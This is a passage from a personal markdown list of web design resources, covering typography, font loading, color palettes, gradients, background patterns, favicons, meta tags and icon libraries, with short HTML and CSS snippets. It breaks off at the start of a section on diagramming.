http://webtypography.net/intro/ - https://www.youtube.com/watch?v=Vd6jZR-GknA - [6 ways to justify font choices in your designs](https://learnui.design/blog/justifying-font-choices.html) - [statistical data on font usage](https://dribbble.com/stories/2021/04/26/web-design-data-fonts) - Study of best font for online reading - inconclusive https://news.ycombinator.com/item?id=31156018 <details> <summary> Premium fonts and some examples </summary> - Proxima Nova https://a16z.com/ (on Typekit) - Graphik https://type.today/en/Graphik - https://www.typewolf.com/ - MD Prime - used on CSS tricks https://www.youtube.com/watch?v=mTIatvwm1MM - Arida Black (maggie's font) https://www.myfonts.com/fonts/latinotype/arida/black/ - [Dank Mono](https://dank.sh/) - Tekton https://twitter.com/round/status/1178090204562968576?s=19 you can learn more about proofing premium fonts here https://www.typography.com/blog/text-for-proofing-fonts </details> #### Font Loading Strategy - https://github.com/zachleat/web-font-loading-recipes - https://iainbean.com/posts/2021/5-steps-to-faster-web-fonts/ - Everything [Harry Roberts](https://twitter.com/csswizardry) writes - [Google Fonts strategy](https://csswizardry.com/2020/05/the-fastest-google-fonts/) ```html <!-- - 1. Preemptively warm up the fonts’ origin. - - 2. Initiate a high-priority, asynchronous fetch for the CSS file. Works in - most modern browsers. - - 3. Initiate a low-priority, asynchronous fetch that gets applied to the page - only after it’s arrived. Works in all browsers with JavaScript enabled. - - 4. In the unlikely event that a visitor has intentionally disabled - JavaScript, fall back to the original method. The good news is that, - although this is a render-blocking request, it can still make use of the - preconnect which makes it marginally faster than the default. --> <!-- [1] --> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> <!-- [2] --> <link rel="preload" as="style" href="$CSS&display=swap" /> <!-- [3] --> <link rel="stylesheet" href="$CSS&display=swap" media="print" onload="this.media='all'" /> <!-- [4] --> <noscript> <link rel="stylesheet" href="$CSS&display=swap" /> </noscript> ``` - `font-display: optional` [may be good](https://css-tricks.com/a-font-display-setting-for-slow-connections/) - but harry roberts [doesnt like it](https://csswizardry.com/2020/05/the-fastest-google-fonts/#comparisons-and-visualisations) - don't load fonts if `prefers-reduced-data` [see Kilian Valkhof](https://css-tricks.com/responsible-conditional-loading/) ### Line Height https://www.thegoodlineheight.com ### Line Width Don't forget setting `max-width` - betweeen 60-75chars is good. - https://pearsonified.com/characters-per-line/ - https://grtcalculator.com/ - https://www.charactercountonline.com/ - https://charcounter.com/en/ You may wish to use `max-width: 60ch` on content. [Note on the `ch` unit not being EXACTLY 60 chars](https://meyerweb.com/eric/thoughts/2018/06/28/what-is-the-css-ch-unit/) ### Kerning and char spacing <details> <summary> Don't forget setting Leading (line height) on your h1 text and minding kerning: </summary>  - https://creativemarket.com/blog/whats-the-difference-between-leading-kerning-and-tracking - https://99designs.com/blog/tips/11-kerning-tips/ </details> When you use allcaps section titles, set the tracking (`letting-spacing`) a little wider. ([Example from Steve Schoger](https://www.youtube.com/watch?v=S6-q5BheEYU)) ### Font Sizing - DON'T GO CRAZY WITH FONT SIZES. Try to use 1-2 sizes and vary other things like weight, space/leading, color, casing. - Don't rely on varying fontsize to control hierarchy - also use font weight (normal = 400/500, heavy = 600/700) and color - Don't go under font weight 400, use a lighter color or smaller fontsize instead - Fluid typography with [`clamp`](https://developer.mozilla.org/en-US/docs/Web/CSS/clamp): `font-size: clamp(1.125rem, 1rem + 2vw, 1.5rem)` - [CSS Tricks](https://css-tricks.com/design-v18/) v18: `font-size: clamp(2rem, calc(2rem + 1.2vw), 3rem);` - Another responsive typography fallback - [`font-size: calc(1rem + 2px + ((100vw - 550px) / 250))`](https://twitter.com/Kikobeats/status/1093620157912616966?s=20) - you can [fit text to screen width](https://twitter.com/shshaw/status/1240647643388395521?s=20) - demo it with this https://fluid-typography.netlify.app/ - [Inter/Tailwind font-size combo](https://twitter.com/samselikoff/status/1204412222593568769?s=20) - [BAD, SLOW fontsize calc](https://twitter.com/drewml/status/1115339490179072000?s=20) - Note: `vw` has known a11y issues: Preserve Zooming. [Sara Soueidan](https://twitter.com/SaraSoueidan/status/1121645149983891457?s=20) recommends wrapping with `calc`, e.g. `font-size: calc(16px + .3vw);` - [Complete font-size notes](https://manishearth.github.io/blog/2017/08/10/font-size-an-unexpectedly-complex-css-property/) - Establishing your own type scale https://typescale.com/ ### Typography Talks - Typography for Developers (2hrs) https://www.youtube.com/watch?v=agbh1wbfJt8 - Adam Argyle on Typography https://www.youtube.com/watch?v=aaro26rK61o&t=874s - Web Typography (48mins) https://www.youtube.com/watch?v=hbIZX6tE9JY 1. Don't trust computers 2. Use the default font size for paragraph text 3. Adjust type size according to reading distance 4. Adjust the font size if the typeface requires it 5. Set tables to be read 6. Resize display text as you would an image 7. Reduce your playload 8. Optimise page render timing - https://www.youtube.com/watch?v=OgsHSVsNRdg ### Other Typography Resources - 5 minute guide to Typography https://www.pierrickcalvez.com/journal/a-five-minutes-guide-to-better-typography - Typography in 10 minutes https://medium.com/nextux/become-a-typography-nerd-in-under-10-minutes-5a7eda093cb3 - typography for long form articles - https://css-tricks.com/designing-for-long-form-articles/ - Font smoothing - [explained](https://szafranek.net/blog/2009/02/22/font-smoothing-explained/), [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/font-smooth) - Tool for learning what fonts other people use https://fontanello.oktavilla.se/ - [FlowType.js](https://simplefocus.com/flowtype/) - [FitText](https://css-tricks.com/viewport-sized-typography/) - https://wh0.github.io/glitter/ It’s a generator that produces text in a glitter-like style, which you can save as SVG. Definitely not for 99% of your projects, but a pretty cool text effect. - if all letters at the same height all caps this is called [Majuscule](https://www.wordgenius.com/words/majuscule) - International fonts stack https://www.figma.com/blog/when-fonts-fall/ - In future, try out [leading-trim](https://medium.com/microsoft-design/leading-trim-the-future-of-digital-typesetting-d082d84b202) - https://piccalil.li/tutorial/improve-the-readability-of-the-content-on-your-website - css podcast primer on typography https://thecsspodcast.libsyn.com/tcp036-v2 - https://www.typewolf.com/checklist If building a collaborative design tool that offers font choice, see how Figma does it https://youtu.be/kVD-sjtFoEI ## Colors Pick a primary "brand" color to match your personality. [DO NOT OVERUSE IT.](https://twitter.com/steveschoger/status/1299372332579008515) - Blue: safe, familiar - Gold: expensive, sophisticated ([Examples](https://twitter.com/erikdkennedy/status/948914185596960768), [again](https://twitter.com/erikdkennedy/status/1331236629571362816?s=20)) - Pink: fun, not so serious You can also have a grey for secondary content, and lighter grey for tertiary content. Don't use system default/named colors, too brutal. Soften it a bit. "[Never use black](https://ianstormtaylor.com/design-tip-never-use-black/)" has been proposed as a rule, but [this is debated](https://news.ycombinator.com/item?id=24303042). Here's a [more complete primer on color personalities](https://99designs.com/blog/tips/logo-color-meanings/) with more examples. **Mind accessibility**. 1 in 12 men and 1 in 200 women have color blindness. Make sure to check that important distinctions can be perceived. - https://twitter.com/LoanReads/status/1313974210151305218?s=20 - https://www.colourblindawareness.org/colour-blindness/ - use the concept of "luminance contrast" https://twitter.com/swyx/status/1351566026090053632 - https://randoma11y.com/?color=springgreen <details> <summary> Example blueish palette </summary> Monotone: - White-ish Card background: #FCFCFC - Blueish-Black icons: #1C1E20 - Lighter text on white: #485963 - Bluish background: #202D34 Multicolor: - Black: #1d1d1d. - purple: #b066ff; - blue: #203447; - lightblue: #1f4662; - blue2: #1C2F40; - yellow: #ffc600; - pink: #EB4471; - white: #d7d7d7; </details> <details> <summary> You may or may not want to use generic names if you want it swappable for dark mode: </summary> Example [yellowish palette](https://codepen.io/oliviale/full/XyqQYL): - primary-light: #FFD151 mustard - primary-dark: #FFAE03 UCLA gold - secondary-success: #20A39E light sea green - secondary-warning: #EF5B5B sunset orange - secondary-info: #08D377 dark cerulean - grays: #E8E9E9, #D1D3D4, #BABDBF, #808488, #666A6D, #4D5052, #333537, #1C1D1E Examples: https://dev.to/dcodeyt/add-dark-mode-to-your-websites-with-css-5bh4 **Note - THIS IS DISPUTED!!!** Even Slack's impl has separate light and dark theming. > The problem is "primary" isn't a color, it's a measure of contrast in the current context. On the same page you might have a white panel with a black button and a black panel with a white button, and both of those buttons are "primary" even though they are different colors. - [Adam Wathan](https://twitter.com/adamwathan/status/1291724757402976257?s=20) </details> One liner dark mode (careful about perf!): `filter: invert(100%) hue-rotate(180deg);` - more [filters here](https://svelte.dev/repl/defc901c5f434ed4a76161605cf1db76?version=3.29.0) https://workos.com/blog/5-lessons-we-learned-adding-dark-mode-to-our-platform?ref=sidebar ### Palette Generators - https://atmos.style A toolbox to create better UI color palettes. - https://colorgen.dev/ - https://color.adobe.com/create - https://www.colorsandfonts.com/ - https://colorswall.com/ - https://coolors.co/ - https://colorpalettes.earth/ displays color palettes sourced from images of nature (taken from Unsplash) - https://colorsinspo.com - https://huey.design/ Rapid color palettes across the rainbow - https://duo.alexpate.uk/ - https://colorhunt.co/ - https://2colors.colorion.co/ - https://meodai.github.io/poline/ Poline - enigmatic color palette generator - https://www.colorsandfonts.com/color-palettes - https://dribbble.com/colors/4030e8 - https://palettte.app/ (advanced tool; try importing the default palettes) - https://www.paletter.app/ - Create Professional Color Palettes from a Single Color - http://colours.neilorangepeel.com/category/red/ - https://www.colorbox.io (by Lyft Design https://design.lyft.com/) - Consider [darker/lighter color variations](https://learnui.design/blog/color-in-ui-design-a-practical-framework.html) - https://croncolor.com/color-tool - https://leonardocolor.io/?colorKeys=%236fa7ff&base=ffffff&ratios=3%2C4.5&mode=CAM02 - https://happyhues.co/ - https://www.colourlovers.com/ _recommended by Tracy Osborn_ - https://flatuicolors.com/ - https://colorsupplyyy.com/ - [chroma.js color palette helper](https://gka.github.io/palettes/#/9|s|00429d,96ffea,ffffe0|ffffe0,ff005e,93003a|1|1) - https://palx.jxnblk.com/ - https://hotpot.ai/assistant/color_assistant Get suggestions for palettes, gradients, and text colors. Hit the space bar for ML-powered ideas. - https://yeun.github.io/open-color/ - http://khroma.co/ neural network generated color palettes - https://learnui.design/tools/data-color-picker.html Color picker for data visualizations - https://learnui.design/tools/accessible-color-generator.html Accessible color generator - https://maketintsandshades.com/ Generate tint and shades from hex code - http://paletton.com/ - Tailwind: - https://tailwind.ink/ - https://www.tailwindshades.com/ - https://tailwind.simeongriggs.dev - https://javisperez.github.io/tailwindcolorshades/ - https://tailwind-color-picker.jessarcher.com - Special usecases: - Mix colors in pure CSS https://css-tricks.com/mixing-colors-in-pure-css/ - [HSLuv](https://www.hsluv.org/comparison/) color space is preferable to HSL. [Palette generator](https://colors.madscience.design/) - https://colors.lol/ Overly descriptive color palettes (fun) - English color names: - https://hexwords.netlify.app/ - https://colornames.org/ - https://c0ffee.surge.sh/ ### Color Gradients Note: Default gradients often have "hard edges" that are too rough. ([example](https://twitter.com/JoshWComeau/status/1401926170589863946), [example](https://twitter.com/finmoorhouse/status/1543580508508065794?s=21&t=PBDS5C7C4FeqBA0wctOaCQ)). [Add a third color stop in the middle and boost saturation](https://twitter.com/erikdkennedy/status/1612867685192466432?s=20). You can use [esaing gradients](https://larsenwork.com/easing-gradients/) in future. - https://www.joshwcomeau.com/gradient-generator/ - gradients https://mybrandnewlogo.com/color-gradient-generator - vivid gradient generator https://www.learnui.design/tools/gradient-generator.html - CSS Gradient Text https://twitter.com/argyleink/status/1281623252662489088/photo/2 - 🌟 https://mycolor.space/gradient Generate a CSS Color Gradient - https://huemint.com/ Huemint uses machine learning to create unique color schemes for your brand, website or graphic - https://webgradients.com/ free collection of 180 linear gradients - https://uigradients.com/#Petrichor - https://gradient-king.vercel.app/ - https://learnui.design/tools/gradient-generator.html (to avoid [the "gray zone" problem](https://css-tricks.com/the-gray-dead-zone-of-gradients/)) - Adam Argyle conic CSS gradient examples https://www.conic.style/ - https://www.grabient.com/ - https://www.colorsandfonts.com/color-gradients - ANIMATED GRADIENTS https://www.gradient-animator.com/ - Subtle gradients by bumping only saturation on HSL (thanks [argyleink](https://twitter.com/argyleink/status/1197205254623780864)) - You can [really take this to the extreme](https://twitter.com/argyleink/status/1216815958917992450?s=20)! - Tailwind - https://hypercolor.dev/ - Gradient designer with interpolation in various color spaces https://akx.github.io/gradient/ ### Color Theory Not tools but still important so here they are - [A Beginner’s Guide to Applying Color in UI Design](https://georgefrancis.dev/writing/a-beginners-guide-to-applying-color-in-ui-design/?ref=sidebar) - [Sarah Drasner on Color](https://css-tricks.com/nerds-guide-color-web/) - [Louisa Barret on Color](https://www.youtube.com/watch?v=NdKAUXAvt8E) - [Erik Kennedy on HSB](https://learnui.design/blog/the-hsb-color-system-practicioners-primer.html) - [Erik Kennedy on color variations](https://learnui.design/blog/color-in-ui-design-a-practical-framework.html) - [JustinMezzell on Color](https://medium.com/@JustinMezzell/how-i-work-with-color-8439c98ae5ed) - advanced stuff on picking color tone/temperature. [Basic version by Steve Schoger](https://twitter.com/steveschoger/status/1502318105124646924) - [Justin Baker on Color Theory](https://medium.muz.li/the-ultimate-ux-guide-to-color-design-4d0a18a706ed) - [Convertkit on Color Theory](https://convertkit.com/color-theory) - [Josh Comeau on Color Palettes](https://courses.joshwcomeau.com/css-for-js/treasure-trove/014-color-palettes) - [Stripe - Designing accessible color systems](https://stripe.com/blog/accessible-color-systems) - [How to do Dark Mode right](https://darkmodedesign.xyz/) - Zeno Rocha 5 tips for dark mode https://workos.com/blog/5-lessons-we-learned-adding-dark-mode-to-our-platform?ref=sidebar - [Inventorying and naming a Color Palette at UXPin](https://medium.com/@marcintreder/design-system-sprint-2-one-color-palette-to-rule-them-all-d0114ed1f659) - [Reasoning about Color](http://notes.neeasade.net/color-spaces.html) some light reading on color spaces and transforms (eg "pastelize" operation) - [Refactoring UI on Building Your Color Palette](https://refactoringui.com/previews/building-your-color-palette/) - [Numeric systems of color palettes explained](https://n8d.at/the-numeric-colour-palettes-in-modern-web-frameworks-explained) - [Monochromatic color scheme guide](https://www.vectornator.io/blog/monochromatic-colors) - [Canva's color wheel has a color theory guide](https://www.canva.com/colors/color-wheel/) - https://youtu.be/Co75kmQtbaA - (fun) [history of primary colors](https://publicdomainreview.org/essay/primary-sources) - big list of color names: https://github.com/meodai/color-names - [RGM to Lab color space math](https://observablehq.com/@mbostock/lab-and-rgb) - (way too detailed) history and guide to color pickers https://bottosson.github.io/posts/colorpicker/ ### Color Theory for Data Visualization Dataviz is a special category since it's not just design, but information. Credit to [Teej's thread](https://twitter.com/teej_m/status/1566158539868889088?s=20&t=BlqyJ1CxiiLTND7AQA0Qag). - [Color Use Guidelines for Data Representation. Cynthia Brewer. Proc. Section on Statistical Graphics, American Statistical Association, pp. 55-60, 1999. Color Scheme Explorer.](http://www.personal.psu.edu/cab38/ColorSch/ASApaper.html) - [How to pick more beautiful colors for your data visualizations. Lisa Charlotte Rost](http://idl.cs.washington.edu/papers/quantitative-color/) - [Color Use Guidelines for Data Representation - Cynthia A. Brewer](http://www.personal.psu.edu/cab38/ColorSch/ASApaper.html) - [How to pick the least wrong colors - An algorithm for creating color palettes for data visualization](https://matthewstrom.com/writing/how-to-pick-the-least-wrong-colors) - ([HN](https://news.ycombinator.com/item?id=31639009)) - [Paul Tol's INTRODUCTION TO COLOUR SCHEMES](https://personal.sron.nl/~pault/) - https://blog.datawrapper.de/category/color-in-data-vis/ - [How to pick more beautiful colors for your data visualizations](https://blog.datawrapper.de/beautifulcolors/) - Open source libraries - [D3 Color scales](https://github.com/d3/d3-scale-chromatic) - [Colorbrewer schemes](https://colorbrewer2.org/#type=sequential&scheme=YlOrBr&n=3) - [Matplotlib colormaps](https://matplotlib.org/stable/tutorials/colors/colormaps.html) - Books - Chapter 4: [Storytelling with Data](https://www.amazon.com/Storytelling-Data-Visualization-Business-Professionals-ebook/dp/B016DHQSM2/) - [Art + Data: A Collection of Tableau Dashboards](https://www.amazon.com/dp/0998105740/ref=cm_sw_r_apa_i_D67GCR5WN3E1AS56PJQ3_0) - [A Dictionary of Color Combinations](https://www.amazon.com/dp/4861522471/ref=cm_sw_r_api_i_WWRZD5HZMPK1PBHE79WV_0) - [Visualize This: The FlowingData Guide to Design, Visualization, and Statistics](https://www.amazon.com/Visualize-This-FlowingData-Visualization-Statistics-ebook/dp/B005CCT19M) - Misc recommended papers - [Somewhere Over the Rainbow: An Empirical Assessment of Quantitative Colormaps. Yang Liu, Jeffrey Heer. ACM CHI 2018.](http://idl.cs.washington.edu/papers/quantitative-color/) - [Colorgorical: Creating Discriminable and Preferable Color Palettes for Information Visualization. Connor Gramazio, David Laidlaw & Karen Schloss. IEEE Transactions on Visualization and Computer Graphics. 2017.](http://gramaz.io/pdf/gramazio-2016-ccd.pdf) ## Backgrounds ### Background Gradients and Patterns Not just for background backgrounds - applying gradients and background images to text is super underrated. Examples: - [https://philcoffman.com/](https://user-images.githubusercontent.com/6764957/64589989-7985f500-d374-11e9-9d8a-2a8888df6981.png) - [https://css-tricks.com/](https://user-images.githubusercontent.com/6764957/64590103-beaa2700-d374-11e9-8a84-95ab4826a577.png) - https://magicmind.co/ very subtle texture - https://increase.com/ Background Radial Bursts behind images: - https://cssgradient.io/ - https://youtu.be/U4z-wph1NyI - https://onepagelove.com/tag/gradients  #### Background Gradients Make sure to see the [Color Gradients](#color-gradients) section to generate gradients ```css background-image: linear-gradient( 120deg, hsl(200 50% 90%) 0%, hsl(200 100% 90%) 100% ); ``` Linear gradients can be "eased" to be smoother: https://css-tricks.com/easing-linear-gradients/ - https://meshgradient.com/ swirly backgrounds like apple - https://meshgradient.in/ generate mesh gradient backgrounds #### Background Patterns - https://trianglify.io/ low polly pattern generator - https://leaverou.github.io/css3patterns/ - https://github.com/bansal-io/pattern.css - http://www.heropatterns.com/ SVG Repeating Patterns Generator - https://doodad.dev/pattern-generator/ - https://www.wowpatterns.com/free-vector-art thousands of freevector patterns, based on shapes, organic shapes as well as themes, such as animals, beach, city and people, festivals, florals etc. - https://wickedbackgrounds.com/?ref=producthunt svg background waves - https://www.svgbackgrounds.com/ - https://www.transparenttextures.com/ - https://www.toptal.com/designers/subtlepatterns/ (exports png though :( ) - https://www.flaticon.com/pattern/ (create a bg pattern of icons) - https://coolbackgrounds.io/ - https://tabbied.com/ abstract Doodles with generated patterns - https://css-doodle.com/ - https://hero-generator.netlify.app/ hero picture CSS generator - https://www.gradientmagic.com/ - https://kumiko-generator.netlify.app/ - http://thepatternlibrary.com/ - https://msurguy.github.io/flow-lines/ produces random geometric lines, and we can adjust the formulas and distances between the shapes drawn - http://svgbackgrounds.com/ - https://haikei.app/ - web app to generate unique SVG shapes, backgrounds, and patterns - https://pattern.monster/ 180 patterns, and you can filter them by mode and color, and search - http://iros.github.io/patternfills/ - plenty of black-and-white patterns, also available from the command line - https://www.kennethcachia.com/plain-pattern/ allows you to upload an SVG shape (or use one of the existing ones) and it creates a repeating pattern which can be exported as SVG. - http://www.patternify.com/ CSS Pattern generator that allows you to define a pattern in a 10×10 grid - https://www.magicpattern.design/tools/css-backgrounds library of pure CSS background patterns like ZigZag or diagonal ones. - https://bgjar.com/ - https://products.ls.graphics/paaatterns/ - https://notchr.is/patterns/ (Really simple SVG Patterns using single unicode characters.) - https://doodad.dev/pattern-generator/ (Pattern generator that exports to png, jpg and svg.) - wave dividers - https://www.shapedivider.app/ generate custom shape dividers - https://svgwave.in/ - https://getwaves.io/ generate SVG waves - https://wavelry.vercel.app/ choose between sharp, linear and smooth waves - https://www.outpan.com/app/9aaaf27303/svg-gradient-wave-generator adjust amplitudes, smoothness, saturation and hues - https://loading.io/background/m-wave/ generate waves, and even animate them - https://haikei.app/ full fledged generate SVG assets, from layered waves to stacked waves and blob scenes - svg waves generator https://codepen.io/jh3y/full/poEvKxo - https://wweb.dev/resources/css-separator-generator ### Background Illustrations - https://freeillustrations.xyz/ ### Background SVG texture - for increase.com https://twitter.com/bdc/status/1443557247813099522?s=20 ### Misc Backgroundy Stuff - CSS Doodle https://css-doodle.com/ - CSS backgroundy patterns https://leaverou.github.io/css3patterns/ - this guy https://twitter.com/yuanchuan23 - super adanced pokemon shiny card gradients https://github.com/simeydotme/pokemon-cards-css - Generative Gradients http://generative-placeholders.glitch.me/ - Generateive SVG https://dev.to/georgedoescode/a-generative-svg-starter-kit-5cm1 - Image Placeholders - blurring - https://blurha.sh/ (and gatsby image and nextjs image) - Dimming/coloring text on background images https://coder-coder.com/background-image-opacity/ - [True Grit Texture Supply](https://www.truegrittexturesupply.com/) PNG textures (paid) - Remove backgrounds - this is [now native in iOS/macOS](https://news.ycombinator.com/item?id=36509175) - https://www.remove.bg/ from images - but has been monetized to shit. see below for better alternatives - https://github.com/imgly/background-removal-js open source Background Removal in the Browser - https://pixian.ai/remove-image-backgrounds - https://www.photoroom.com/background-remover - https://backgroundremoverai.com/ - source https://github.com/nadermx/backgroundremover - https://www.inpixio.com/remove-background/ - https://express.adobe.com/tools/remove-background - https://baseline.is/tools/background-remover/ from images - https://www.unscreen.com/ for gif/video - Remove ANYTHING (AMAZING) - https://cleanup.pictures/ - https://cleanupphotos.com/ - colorizing black and white images - https://demos.algorithmia.com/colorize-photos - relight images https://clipdrop.co/relight https://twitter.com/dh7net/status/1567813168990232578 - edit photo in browser no BS https://edit.photo/ - AI Colorizer https://palette.fm/ - https://animatedbackgrounds.me/ ## Icons and Favicons ### Favicons Don't forget them! - [How to Favicon in 2021](https://css-tricks.com/how-to-favicon-in-2021/) ```html <link rel="icon" href="/favicon.ico" /><!-- 32×32 --> <link rel="icon" href="/icon.svg" type="image/svg+xml" /> <link rel="apple-touch-icon" href="/apple-touch-icon.png" /><!-- 180×180 --> <link rel="manifest" href="/manifest.webmanifest" /> ``` ```json // manifest.webmanifest { "icons": [ { "src": "/192.png", "type": "image/png", "sizes": "192x192" }, { "src": "/512.png", "type": "image/png", "sizes": "512x512" } ] } ``` - [the 6 favicon types you need](https://evilmartians.com/chronicles/how-to-favicon-in-2021-six-files-that-fit-most-needs) - 🌟 **[Real Favicon generator](https://realfavicongenerator.net/)** - pop in an image, get back a favicon! The most comprehensive one for all platforms (Windows, iOS, Android) - [Favicon.io](https://favicon.io/) - Generate a favicon from text, from an image, or from an emoji. Download in .ico and .png formats - [FontIcon](https://gauger.io/fonticon/) - Generate favicons and images from Font Awesome icons - [Favicon Generator](http://tools.dynamicdrive.com/favicon/) - another one - https://textmoji.app/ small text icons meant for Slack but also can use for faviconning - [SVG Favicon maker](https://formito.com/tools/favicon) - supports emojis and 2 letter favicons with custom fonts - SVG favicons are modifiable by scroll percentage - you can https://css-tricks.com/svg-favicons-and-all-the-fun-things-we-can-do-with-them/ - put the scroll percentage! https://css-tricks.com/how-i-put-the-scroll-percentage-in-the-browser-title-bar/ ### `<link rel="">` tags and opengraph Ideas of things you can include based on my own site. ```html <link rel="icon" type="image/png" href="/favicon.png" /> <link rel="webmention" href="https://webmention.io/www.swyx.io/webmention" /> <link rel="pingback" href="https://webmention.io/www.swyx.io/xmlrpc" /> <meta name="theme-color" content="#818CF8" /> <title>{frontmatter.title} ∊ swyx.io</title> <link rel="canonical" href="{canonical}" /> <meta property="og:url" content="{swyxioURL}" /> <meta property="og:type" content="article" /> <meta property="og:title" content="{seoTitle}" /> <meta name="Description" content="{seoDescription}" /> <meta property="og:description" content="{seoDescription}" /> {#if frontmatter.cover_image} <meta property="og:image" content="{coverImage}" /> {/if} <meta name="twitter:card" content={frontmatter.cover_image ? 'summary_large_image' : 'summary'} /> <meta name="twitter:domain" content="swyx.io" /> <meta name="twitter:creator" content="@swyx" /> <meta name="twitter:title" content="{seoTitle}" /> <meta name="twitter:description" content="{seoDescription}" /> <meta name="twitter:image" content={frontmatter.cover_image ? frontmatter.cover_image : 'https://www.swyx.io/swyx-ski.jpeg'} /> <meta name="twitter:label1" value="Last updated" content="Last updated" /> <meta name="twitter:data1" value="{metaDate}" content="{metaDate}" /> <meta name="twitter:label2" content="Read Time" /> <meta name="twitter:data2" content="{readTime}" /> ``` other boilerplates to use - https://css-tricks.com/explain-the-first-10-lines-of-twitter-source-code/ - https://github.com/joshbuchea/HEAD - https://www.matuzo.at/blog/html-boilerplate/ - maybe think about adding JSON+LD too. ### Icons #### Logos (incl company logos) - https://logosear.ch/ superfast metasearch of 200k svg logos from GitHub - https://seeklogo.com/ - https://www.iconfinder.com/iconsets/payment-method-1 - https://www.logology.co/ We’ve designed a catalog of 500+ logos. Take a brand identity test and we’ll instantly match you with the best ones, paired with the right fonts & colors. - https://www.svgrepo.com/ Browse 300.000+ SVG Vectors and Icons - https://iconsear.ch/ instant search of 50k svg icons from GitHub and GitLab - https://macosicons.com/ icons intended to replace mac desktop icons - https://awsicons.dev/ AWS icons and https://aws-icons.com/ #### General & Misc **Important**: Note on [icon accessibility](https://css-tricks.com/accessible-svg-icons/). [Don't use icon fonts.](https://www.irigoyen.dev/blog/2021/02/17/stop-using-icon-fonts/) - Icon + text: use `<svg aria-hidden="true">` - Icon only: `<svg role="img"><title>foo</title>...</svg`. Pick from [Aria roles](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles) list. - Icon with link: `<a href="/" aria-label="Good Label"><svg aria-hidden="true" ... ></svg></a>` > Note you can put gradients on SVG icons manually https://play.tailwindcss.com/yM2N8GpEUK - ⭐ https://www.heroicons.com/ Steve schoger's (somewhat limited) svg iconset. another viewer: https://heroicons.dev/ - ⭐ https://phosphoricons.com/ 3000+ fully customizable free SVG and PNG icons. style, variations, easy to consume - ⭐ https://tablericons.com/ 937 Fully customizable free SVG icons - ⭐ https://icons.modulz.app/ Radix Icons - >250 15×15 icons designed by the Modulz team. - some great app icons - ⭐ https://feathericons.com/ clean and minimal markup - "[Lucide](https://lucide.dev/) is a very active fork of Feather and what I’ve been using for the past few years instead. Feather is great as are their design guidelines, but it needs way way more icons. Lucide picks up beautifully where it left off." - https://iconoir.com/ free open source library with 1000+ SVG Icons, designed on a 24x24 pixels grid - https://iconic.app/ - https://teenyicons.com/ tiny minimal 1px icons - Google icons https://fonts.google.com/icons - Material Design https://materialdesignicons.com/ https://material.io/resources/icons/?style=baseline - Circum Icons https://circumicons.com Consistent open source icons as SVG for React, Vue and Svelte. - **icon metasearch** (list of lists of icons) - https://icones.netlify.app/ - https://www.iconbolt.com/ - https://iconduck.com/ 104,808 free open source icons - https://thenounproject.com/ Every icon you can think of, in PNG or SVG formats. They offer over 20 million icons, with built-in customization colors like size and color. Requires login, needs creative commons attribution or $3 download - https://www.snoweb-svg.com/ - https://nucleoapp.com/ Nucleo is a beautiful library of 30635 icons, and a powerful application to collect, customize and export all your icons. $99 lifetime purchase. - https://nucleoapp.com/tool/icon-transition SVG Icon Transitions Generator - https://hotpot.ai/free_icons 5,000+ free icons. Customize colors, size, and other properties. PNG, JPG, iOS, Android, PDF. No svg. - **https://iconmonstr.com/** Discover 4486+ free icons in 310 collections. SVG, EPS, PSD, PNG. [OK without attribution, don't sell it](https://iconmonstr.com/license/). - https://icomoon.io/ - 450 icons, SVG, PDF, EPS, Ai, PSD. Paid tier goes up to 1600 icons. - https://orioniconlibrary.com/ has customizable colors and packs eg for ecommerce - https://github.com/edent/SuperTinyIcons Under 1KB each! Super Tiny Web Icons are minuscule SVG versions of your favourite logos. The average size is under 465 bytes! - https://github.com/Remix-Design/RemixIcon neutral-style system symbols for designers and developers. Unlike a patchwork icon library, 2200+ icons are all elaborately crafted so that they are born with the gene of readability, consistency and perfect pixels. Each icon was designed in "Outlined" and "Filled" styles based on a 24x24 grid. - https://icons8.com/l/fluent/ colored "microsoft style" icons - https://icons8.com/emoji emoji style customizable icons - https://icons8.com/line-awesome fontawesome-like icons - https://iconsvg.xyz/ Quick customizable icons for your projects - http://www.entypo.com/ - https://simpleicons.org/ - http://github.com/propublica/weepeople A typeface of people sillhouettes, to make it easy to build web graphics featuring little people instead of dots. - Bootstrap Icons https://github.com/twbs/icons, https://icons.getbootstrap.com/ - https://systemuicons.com/ - https://github.com/microsoft/fluentui-system-icons Fluent UI System Icons are a collection of familiar, friendly and modern icons from Microsoft. - https://www.streamlinehq.com/elements/memes a few dozen popular meme icons as svg - https://icons.mono.company/ - https://iconscout.com/unicons and https://github.com/Iconscout/react-unicons - https://www.zondicons.com/ - https://linearicons.com/free - animated icons http://www.transformicons.com/builder.html - http://game-icons.net/ - Covid 19 icons - https://design.dev/ - https://kenney.nl/ public domain game assets - https://www.iconshock.com/social-media-icons/ A pack of 300 social media icons (PNG & Vector) and a set of animated icons (Lottie and AE), which cover all the trendiest social media networks nowadays. - brand icons - http://simpleicons.org/ icons for every brand like graphql, adobe xd, youtube, etc - https://css.gg/ 700+ Customizable & Retina-Ready app icons — entirely built in CSS - https://worldvectorlogo.com/ - https://www.vectorlogo.zone/ - consistently formatted SVG logos - Icon Libraries and Framework - Iconify https://github.com/iconify/iconify -> use in https://github.com/antfu/unplugin-icons - React Icons - https://react-icons.github.io/react-icons/ - https://github.com/miukimiu/react-kawaii - https://reactsvgicons.com/ - https://react-icons.netlify.com/#/icons/fa (typically fontawesome). note that there is some tree shaking issues in the discussions. you may wish to use the https://github.com/meronex/meronex-icons fork instead - https://github.com/bytedance/IconPark - more than 1,200 high-quality icons, and introduces an interface for customizing your icons. across React, Vue, SVG, PNG. - https://github.com/useAnimations/react-useanimations > You may like: [Free Fundamentals of Icon design in 1 hour course by MDS](http://introtoicons.com/) **premium/paid icons** - http://shape.so/ 4300+ Icons & Illustrations (by Meng To) - https://logobly.com/ create custom logos - https://hatchful.shopify.com/ more custom logos - https://radicalicons.com/ use `radicaldesign` - https://symbolicons.com/ - 🔥 https://streamlineicons.com/ (used in [Glide Apps](https://twitter.com/glideapps/status/1199396690182230016)) - https://www.iconfinder.com/ - https://www.flaticon.com/ 6.5m icons, free for PNG, paid for SVG - https://gumroad.com/l/primaries - https://gumroad.com/l/gPEAU ios 14 icons from traf - for inspo, mainly ## Diagramming Before you get to the tools - some good thinking (and lists of tools) on architecture diagrams: - https://nocomplexity.com/documents/arplaybook/businessarchitecture.html - 